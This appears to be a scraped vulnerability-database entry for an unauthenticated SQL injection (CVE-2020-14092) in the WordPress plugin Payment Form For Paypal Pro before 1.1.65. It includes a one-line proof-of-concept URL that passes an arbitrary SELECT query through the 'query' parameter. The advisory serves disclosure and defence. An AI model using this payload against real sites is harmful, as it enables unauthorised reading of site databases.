Lucene search
RishiWPVDB-ID:33414D86-2BAD-4B8E-9BC5-9A92811ABF9BHistoryJul 02, 2020 - 12:00 a.m.
Payment Form For Paypal Pro < 1.1.65 - Unauthenticated SQL Injection
2020-07-0200:00:00
Rishi
wpscan.com
13
0.68 Medium
EPSS
Percentile
98.0%
The ‘query’ parameter allowed for any unauthenticated user to perform SQL queries with result output to a web page in JSON format.
PoC
https://example.com/?cffaction=get_data_from_database&query;=SELECT * from wp_posts
| CPE | Name | Operator | Version |
|---|---|---|---|
| payment-form-for-paypal-pro | lt | 1.1.65 |
Related
wpexploit
wpexploit
Payment Form For Paypal Pro < 1.1.65 - Unauthenticated SQL Injection
2020-07-02 00:00:00
prion
prion
Sql injection
2020-07-02 16:15:00
cve
cve
CVE-2020-14092
2020-07-02 16:15:11
nuclei
nuclei
WordPress PayPal Pro <1.1.65 - SQL Injection
2021-03-10 11:36:11
cvelist
cvelist
CVE-2020-14092
2020-07-02 15:20:01
nvd
nvd
CVE-2020-14092
2020-07-02 16:15:11